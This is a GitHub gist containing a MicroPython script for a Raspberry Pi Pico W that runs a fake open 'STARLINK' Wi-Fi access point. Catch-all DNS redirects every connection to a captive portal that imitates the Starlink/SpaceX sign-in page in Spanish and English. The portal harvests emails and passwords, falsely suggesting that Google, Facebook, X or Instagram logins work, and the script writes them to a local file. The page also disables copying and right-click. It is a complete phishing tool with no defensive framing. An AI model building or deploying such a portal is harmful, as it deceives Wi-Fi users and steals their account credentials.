Last active
July 5, 2025 21:05
-
-
Save vitouXY/1eb35c8a5b4843fa11371c8e5720e5d8 to your computer and use it in GitHub Desktop.
RPI-RP2 Raspberry Pi Pico W - Access Point & Captive Portal - Fake AP
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#BOF | |
# picow_phew_captiveportal_starlink_es-en | |
# https://github.com/thonny/thonny/releases | |
# https://datasheets.raspberrypi.com/soft/flash_nuke.uf2 | |
# https://rpf.io/pico-w-firmware | |
# https://micropython.org/download/rp2-pico-w/rp2-pico-w-latest.uf2 | |
# https://picockpit.com/raspberry-pi/raspberry-pi-pico-w-captive-portal-hotspot-access-point-pop-up/ | |
# https://github.com/pimoroni/phew | |
#import upip | |
#upip.install("micropython-phew") | |
from phew import access_point, dns, server, logging | |
import uasyncio as asyncio | |
logging.info(f"* Access Point...") | |
ap = access_point("STARLINK", password=None) | |
logging.info(f"** IP: {ap.ifconfig()[0]}") | |
logging.info(f"* DNS...") | |
dns.run_catchall(ap.ifconfig()[0]) | |
PORTAL_HTML = """ | |
<!DOCTYPE html> | |
<html lang="es"> | |
<head> | |
<meta http-equiv="Content-Type" charset="utf-8" content="text/html" /> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> | |
<meta http-equiv="imagetoolbar" content="no" /> | |
<meta http-equiv="pragma" content="no-cache" /> | |
<!-- <link rel='icon' href='data:image/x-icon;base64,ABC' type='image/x-icon' /> | |
<link rel='shortcut icon' href='data:image/x-icon;base64,ABC' /> --> | |
<title>Starlink Iniciar Sesión</title> | |
<style> | |
* { | |
box-sizing: border-box; | |
} | |
body { | |
margin: 0; | |
background-color: #000; | |
font-family: Arial, sans-serif; | |
color: white; | |
display: flex; | |
flex-direction: column; | |
min-height: 100vh; | |
} | |
.logo { | |
text-align: center; | |
padding: 40px 0 20px; | |
} | |
.logo img { | |
height: 30px; | |
} | |
.login-box { | |
background-color: #1e1e1e; | |
width: 90%; | |
max-width: 400px; | |
margin: auto; | |
padding: 30px 20px; | |
border-radius: 8px; | |
text-align: center; | |
} | |
.login-box h2 { | |
margin-bottom: 25px; | |
font-weight: normal; | |
font-size: 24px; | |
} | |
.input-box { | |
margin-bottom: 15px; | |
} | |
.input-box input { | |
width: 100%; | |
padding: 14px; | |
background-color: #2a2a2a; | |
border: 1px solid #444; | |
border-radius: 4px; | |
color: white; | |
font-size: 16px; | |
} | |
.login-box button { | |
width: 100%; | |
padding: 14px; | |
background-color: white; | |
color: black; | |
font-weight: bold; | |
font-size: 16px; | |
border: none; | |
border-radius: 4px; | |
cursor: pointer; | |
margin-top: 10px; | |
} | |
.locked-out { | |
margin-top: 12px; | |
font-size: 14px; | |
color: #aaa; | |
} | |
.menu { | |
position: absolute; | |
top: 20px; | |
right: 20px; | |
width: 25px; | |
height: 2px; | |
background: white; | |
box-shadow: 0 6px white, 0 12px white; | |
} | |
.footer { | |
margin-top: auto; | |
text-align: center; | |
font-size: 12px; | |
padding: 15px 10px; | |
color: #aaa; | |
} | |
.footer a { | |
color: #aaa; | |
margin: 0 6px; | |
text-decoration: none; | |
display: inline-block; | |
word-break: break-word; | |
} | |
@media (max-width: 400px) { | |
.login-box { | |
padding: 25px 15px; | |
} | |
.login-box h2 { | |
font-size: 20px; | |
} | |
.input-box input, .login-box button { | |
font-size: 14px; | |
padding: 12px; | |
} | |
.menu { | |
right: 15px; | |
top: 15px; | |
} | |
} | |
.language-menu { | |
position: absolute; | |
top: 20px; | |
right: 20px; | |
cursor: pointer; | |
z-index: 10; | |
user-select: none; | |
color: white; | |
font-size: 14px; | |
} | |
.language-list { | |
position: absolute; | |
top: 35px; | |
right: 0; | |
background-color: #1e1e1e; | |
border: 1px solid #444; | |
border-radius: 4px; | |
list-style: none; | |
padding: 0; | |
margin: 0; | |
min-width: 120px; | |
display: none; | |
} | |
.language-list li { | |
padding: 10px; | |
color: white; | |
cursor: pointer; | |
} | |
.language-list li:hover { | |
background-color: #333; | |
} | |
.language-list.hidden { | |
display: none; | |
} | |
.language-list.visible { | |
display: block; | |
} | |
</style> | |
<script language="Javascript"> var TimeID; function timer() { window.clipboardData.clearData(); timeID = setTimeout("timer()", 100); } </script> | |
</head> | |
<body translate="no" onload="timer()" oncontextmenu="return false" ondragstart="return false" onselectstart="return false" onkeydown="return true" onselect="return false" onclick="return true" ondblclick="return false"> | |
<script> | |
function toggleLanguageMenu(event) { | |
event.stopPropagation(); | |
const menu = event.currentTarget.querySelector('.language-list'); | |
const isVisible = menu.classList.contains('visible'); | |
document.querySelectorAll('.language-list').forEach(m => m.classList.add('hidden')); | |
if (!isVisible) { | |
menu.classList.remove('hidden'); | |
menu.classList.add('visible'); | |
} else { | |
menu.classList.remove('visible'); | |
menu.classList.add('hidden'); | |
} | |
} | |
function LANG(language) { window.location.href = '/' + language; } | |
document.addEventListener('click', () => { | |
document.querySelectorAll('.language-list').forEach(m => { | |
m.classList.remove('visible'); | |
m.classList.add('hidden'); | |
}); | |
}); | |
</script> | |
<div class="menu language-menu" onclick="toggleLanguageMenu(event)"> | |
<span> </span> | |
<ul class="language-list hidden"> | |
<li onclick="LANG('en-US')">English</li> | |
</ul> | |
</div> | |
<div class="logo"> | |
<svg viewBox="0 0 1032 524" style="width: 160px; height: auto;"> | |
<defs> | |
<clipPath id="mask_x1"> | |
<circle cx="275" cy="85" r="200" /> | |
</clipPath> | |
<clipPath id="mask_x2"> | |
<circle cx="230" cy="90" r="80" /> | |
</clipPath> | |
</defs> | |
<g transform="matrix(3.3784 0 0 3.3784 -530.93 7.7532)"> | |
<g> | |
<path d="m164 142.2h2.8c0.1 0.9 0.4 1.5 0.8 1.8 0.4 0.4 1.1 0.5 2 0.5 1.7 0 2.5-0.7 2.5-2 0-0.6-0.2-1.1-0.5-1.4s-0.9-0.5-1.6-0.7l-1.5-0.2c-2.8-0.5-4.2-1.9-4.2-4.3 0-1.4 0.5-2.6 1.4-3.4 1-0.8 2.2-1.3 3.8-1.3 1.5 0 2.7 0.4 3.6 1.2s1.4 2 1.5 3.4h-2.8c0-0.8-0.3-1.3-0.7-1.6s-1-0.5-1.7-0.5c-0.8 0-1.3 0.2-1.7 0.5s-0.6 0.8-0.6 1.5c0 0.5 0.2 1 0.5 1.3s0.9 0.5 1.6 0.7l1.6 0.3c2.7 0.5 4 1.9 4 4.4 0 1.6-0.5 2.8-1.5 3.6s-2.3 1.2-4 1.2-3-0.4-3.9-1.2c-0.8-1-1.3-2.2-1.4-3.8z" fill="#fff"/> | |
<path d="m188.5 134v13h-3v-13h-4v-2.6h10.9v2.6z" fill="#fff"/> | |
<path d="m200.9 143.9-0.9 3h-3.1l5.5-15.5h2.4l5.5 15.5h-3.1l-0.9-3zm2.7-8.4-1.9 6h3.8z" fill="#fff"/> | |
<path d="m220.3 140.7v6.3h-2.9v-15.5h5.9c1.5 0 2.7 0.4 3.6 1.2s1.4 2 1.4 3.4c0 1-0.2 1.9-0.7 2.6s-1.2 1.2-2 1.6l3.4 6.8h-3.4l-2.9-6.3h-2.4zm2.8-2.5c0.7 0 1.2-0.2 1.6-0.6s0.6-0.9 0.6-1.6c0-0.6-0.2-1.1-0.6-1.5s-0.9-0.6-1.6-0.6h-2.8v4.2h2.8z" fill="#fff"/> | |
<path d="m239.2 131.4v13h6.8v2.6h-9.7v-15.5h2.9z" fill="#fff"/> | |
<path d="m256.6 131.4v15.6h-2.9v-15.5h2.9z" fill="#fff"/> | |
<path d="m276.7 147h-2.9l-5.7-9.7v9.7h-3.1v-15.5h2.9l5.7 9.7v-9.7h2.9v15.5z" fill="#fff"/> | |
<path d="m287.9 142.6v4.3h-2.9v-15.5h2.9v7.2l5.4-7.2h3.5l-5 6.2 5.4 9.3h-3.4l-3.8-6.9z" fill="#fff"/> | |
</g> | |
<g> | |
<g clip-path="url(#mask_x1)"> | |
<path d="m168.4 112.2-3.9 3.8h34.5c93-93.4 226.9-110 261-112.8v-0.1c-186.1 10.7-272.1 90.3-291.6 109.1" fill="#fff"/> | |
</g> | |
<g clip-path="url(#mask_x2)"> | |
<path d="m263.2 116h34.1l-47.2-34.8c-5.7 3.9-11.6 8.3-17.2 12.7z" fill="#fff"/> | |
<path d="m200.9 44.6h-34.1l40 29.3c5.8-3.9 12.5-8.1 18.7-11.7z" fill="#fff"/> | |
</g> | |
</g> | |
</g> | |
</svg> | |
</div> | |
<div class="login-box"> | |
<h2>INICIAR SESIÓN</h2> | |
<form method="POST" action="/submit"> | |
<div class="input-box"> | |
<input type="text" name="username" placeholder="Correo electrónico" required /> | |
</div> | |
<div class="input-box"> | |
<input type="password" name="password" placeholder="Contraseña" required /> | |
</div> | |
<p>* Inicia sesión con X, Google, Facebook o Instagram.</p> | |
<button type="submit">Iniciar Sesión</button> | |
</form> | |
<div class="locked-out">¿Necesita ayuda?</div> | |
</div> | |
<div class="footer"> | |
Starlink © 2025 | | |
<a href="#">Empleo</a> | | |
<a href="#">Operadores de satélites</a> | | |
<a href="#">Privacidad y aspectos legales</a> | | |
Starlink es una división de SpaceX. Visite | |
<strong><a href="/" target="_blank">spacex.com</a></strong> | |
</div> | |
</body> | |
</html> | |
""" | |
PORTAL_EN_HTML = """ | |
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta http-equiv="Content-Type" charset="utf-8" content="text/html" /> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> | |
<meta http-equiv="imagetoolbar" content="no" /> | |
<meta http-equiv="pragma" content="no-cache" /> | |
<!-- <link rel='icon' href='data:image/x-icon;base64,ABC' type='image/x-icon' /> | |
<link rel='shortcut icon' href='data:image/x-icon;base64,ABC' /> --> | |
<title>Starlink Sign In</title> | |
<style> | |
* { | |
box-sizing: border-box; | |
} | |
body { | |
margin: 0; | |
background-color: #000; | |
font-family: Arial, sans-serif; | |
color: white; | |
display: flex; | |
flex-direction: column; | |
min-height: 100vh; | |
} | |
.logo { | |
text-align: center; | |
padding: 40px 0 20px; | |
} | |
.logo img { | |
height: 30px; | |
} | |
.login-box { | |
background-color: #1e1e1e; | |
width: 90%; | |
max-width: 400px; | |
margin: auto; | |
padding: 30px 20px; | |
border-radius: 8px; | |
text-align: center; | |
} | |
.login-box h2 { | |
margin-bottom: 25px; | |
font-weight: normal; | |
font-size: 24px; | |
} | |
.input-box { | |
margin-bottom: 15px; | |
} | |
.input-box input { | |
width: 100%; | |
padding: 14px; | |
background-color: #2a2a2a; | |
border: 1px solid #444; | |
border-radius: 4px; | |
color: white; | |
font-size: 16px; | |
} | |
.login-box button { | |
width: 100%; | |
padding: 14px; | |
background-color: white; | |
color: black; | |
font-weight: bold; | |
font-size: 16px; | |
border: none; | |
border-radius: 4px; | |
cursor: pointer; | |
margin-top: 10px; | |
} | |
.locked-out { | |
margin-top: 12px; | |
font-size: 14px; | |
color: #aaa; | |
} | |
.menu { | |
position: absolute; | |
top: 20px; | |
right: 20px; | |
width: 25px; | |
height: 2px; | |
background: white; | |
box-shadow: 0 6px white, 0 12px white; | |
} | |
.footer { | |
margin-top: auto; | |
text-align: center; | |
font-size: 12px; | |
padding: 15px 10px; | |
color: #aaa; | |
} | |
.footer a { | |
color: #aaa; | |
margin: 0 6px; | |
text-decoration: none; | |
display: inline-block; | |
word-break: break-word; | |
} | |
@media (max-width: 400px) { | |
.login-box { | |
padding: 25px 15px; | |
} | |
.login-box h2 { | |
font-size: 20px; | |
} | |
.input-box input, .login-box button { | |
font-size: 14px; | |
padding: 12px; | |
} | |
.menu { | |
right: 15px; | |
top: 15px; | |
} | |
} | |
.language-menu { | |
position: absolute; | |
top: 20px; | |
right: 20px; | |
cursor: pointer; | |
z-index: 10; | |
user-select: none; | |
color: white; | |
font-size: 14px; | |
} | |
.language-list { | |
position: absolute; | |
top: 35px; | |
right: 0; | |
background-color: #1e1e1e; | |
border: 1px solid #444; | |
border-radius: 4px; | |
list-style: none; | |
padding: 0; | |
margin: 0; | |
min-width: 120px; | |
display: none; | |
} | |
.language-list li { | |
padding: 10px; | |
color: white; | |
cursor: pointer; | |
} | |
.language-list li:hover { | |
background-color: #333; | |
} | |
.language-list.hidden { | |
display: none; | |
} | |
.language-list.visible { | |
display: block; | |
} | |
</style> | |
<script language="Javascript"> var TimeID; function timer() { window.clipboardData.clearData(); timeID = setTimeout("timer()", 100); } </script> | |
</head> | |
<body translate="no" onload="timer()" oncontextmenu="return false" ondragstart="return false" onselectstart="return false" onkeydown="return true" onselect="return false" onclick="return true" ondblclick="return false"> | |
<script> | |
function toggleLanguageMenu(event) { | |
event.stopPropagation(); | |
const menu = event.currentTarget.querySelector('.language-list'); | |
const isVisible = menu.classList.contains('visible'); | |
document.querySelectorAll('.language-list').forEach(m => m.classList.add('hidden')); | |
if (!isVisible) { | |
menu.classList.remove('hidden'); | |
menu.classList.add('visible'); | |
} else { | |
menu.classList.remove('visible'); | |
menu.classList.add('hidden'); | |
} | |
} | |
function LANG(language) { window.location.href = '/' + language; } | |
document.addEventListener('click', () => { | |
document.querySelectorAll('.language-list').forEach(m => { | |
m.classList.remove('visible'); | |
m.classList.add('hidden'); | |
}); | |
}); | |
</script> | |
<div class="menu language-menu" onclick="toggleLanguageMenu(event)"> | |
<span> </span> | |
<ul class="language-list hidden"> | |
<li onclick="LANG('es-CL')">Español</li> | |
</ul> | |
</div> | |
<div class="logo"> | |
<svg viewBox="0 0 1032 524" style="width: 160px; height: auto;"> | |
<defs> | |
<clipPath id="mask_x1"> | |
<circle cx="275" cy="85" r="200" /> | |
</clipPath> | |
<clipPath id="mask_x2"> | |
<circle cx="230" cy="90" r="80" /> | |
</clipPath> | |
</defs> | |
<g transform="matrix(3.3784 0 0 3.3784 -530.93 7.7532)"> | |
<g> | |
<path d="m164 142.2h2.8c0.1 0.9 0.4 1.5 0.8 1.8 0.4 0.4 1.1 0.5 2 0.5 1.7 0 2.5-0.7 2.5-2 0-0.6-0.2-1.1-0.5-1.4s-0.9-0.5-1.6-0.7l-1.5-0.2c-2.8-0.5-4.2-1.9-4.2-4.3 0-1.4 0.5-2.6 1.4-3.4 1-0.8 2.2-1.3 3.8-1.3 1.5 0 2.7 0.4 3.6 1.2s1.4 2 1.5 3.4h-2.8c0-0.8-0.3-1.3-0.7-1.6s-1-0.5-1.7-0.5c-0.8 0-1.3 0.2-1.7 0.5s-0.6 0.8-0.6 1.5c0 0.5 0.2 1 0.5 1.3s0.9 0.5 1.6 0.7l1.6 0.3c2.7 0.5 4 1.9 4 4.4 0 1.6-0.5 2.8-1.5 3.6s-2.3 1.2-4 1.2-3-0.4-3.9-1.2c-0.8-1-1.3-2.2-1.4-3.8z" fill="#fff"/> | |
<path d="m188.5 134v13h-3v-13h-4v-2.6h10.9v2.6z" fill="#fff"/> | |
<path d="m200.9 143.9-0.9 3h-3.1l5.5-15.5h2.4l5.5 15.5h-3.1l-0.9-3zm2.7-8.4-1.9 6h3.8z" fill="#fff"/> | |
<path d="m220.3 140.7v6.3h-2.9v-15.5h5.9c1.5 0 2.7 0.4 3.6 1.2s1.4 2 1.4 3.4c0 1-0.2 1.9-0.7 2.6s-1.2 1.2-2 1.6l3.4 6.8h-3.4l-2.9-6.3h-2.4zm2.8-2.5c0.7 0 1.2-0.2 1.6-0.6s0.6-0.9 0.6-1.6c0-0.6-0.2-1.1-0.6-1.5s-0.9-0.6-1.6-0.6h-2.8v4.2h2.8z" fill="#fff"/> | |
<path d="m239.2 131.4v13h6.8v2.6h-9.7v-15.5h2.9z" fill="#fff"/> | |
<path d="m256.6 131.4v15.6h-2.9v-15.5h2.9z" fill="#fff"/> | |
<path d="m276.7 147h-2.9l-5.7-9.7v9.7h-3.1v-15.5h2.9l5.7 9.7v-9.7h2.9v15.5z" fill="#fff"/> | |
<path d="m287.9 142.6v4.3h-2.9v-15.5h2.9v7.2l5.4-7.2h3.5l-5 6.2 5.4 9.3h-3.4l-3.8-6.9z" fill="#fff"/> | |
</g> | |
<g> | |
<g clip-path="url(#mask_x1)"> | |
<path d="m168.4 112.2-3.9 3.8h34.5c93-93.4 226.9-110 261-112.8v-0.1c-186.1 10.7-272.1 90.3-291.6 109.1" fill="#fff"/> | |
</g> | |
<g clip-path="url(#mask_x2)"> | |
<path d="m263.2 116h34.1l-47.2-34.8c-5.7 3.9-11.6 8.3-17.2 12.7z" fill="#fff"/> | |
<path d="m200.9 44.6h-34.1l40 29.3c5.8-3.9 12.5-8.1 18.7-11.7z" fill="#fff"/> | |
</g> | |
</g> | |
</g> | |
</svg> | |
</div> | |
<div class="login-box"> | |
<h2>SIGN IN</h2> | |
<form method="POST" action="/submit"> | |
<div class="input-box"> | |
<input type="text" name="username" placeholder="EMAIL" required /> | |
</div> | |
<div class="input-box"> | |
<input type="password" name="password" placeholder="PASSWORD" required /> | |
</div> | |
<p>* Sign in with X, Google, Facebook or Instagram account.</p> | |
<button type="submit">SIGN IN</button> | |
</form> | |
<div class="locked-out">LOCKED OUT?</div> | |
</div> | |
<div class="footer"> | |
Starlink © 2025 | | |
<a href="#">Careers</a> | | |
<a href="#">Satellite Operators</a> | | |
<a href="#">Privacy & Legal</a> | | |
Starlink is a division of SpaceX. Visit us at | |
<strong><a href="/" target="_blank">spacex.com</a></strong> | |
</div> | |
</body> | |
</html> | |
""" | |
@server.route("/") | |
def index(request): | |
return PORTAL_HTML | |
@server.route("/en-US") | |
def en(request): | |
return PORTAL_EN_HTML | |
@server.route("/es-CL") | |
def es(request): | |
return PORTAL_HTML | |
@server.route("/submit", methods=["POST"]) | |
def submit(request): | |
username = request.form.get("username", "").strip() | |
password = request.form.get("password", "").strip() | |
if username and password: | |
with open("datos.txt", "a") as f: | |
f.write(f"|{username}||{password}|\n") | |
return """<!DOCTYPE html><html><head><meta http-equiv="refresh" content="90;URL='/' /></head><body><h4>Starlink...</h4></body></html>""" | |
else: | |
return server.redirect("/") | |
@server.catchall() | |
def catchall(request): | |
return server.redirect("/") | |
logging.info(f"* Server...") | |
#server.run() | |
asyncio.create_task(server.run()) | |
asyncio.get_event_loop().run_forever() | |
#EOF |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment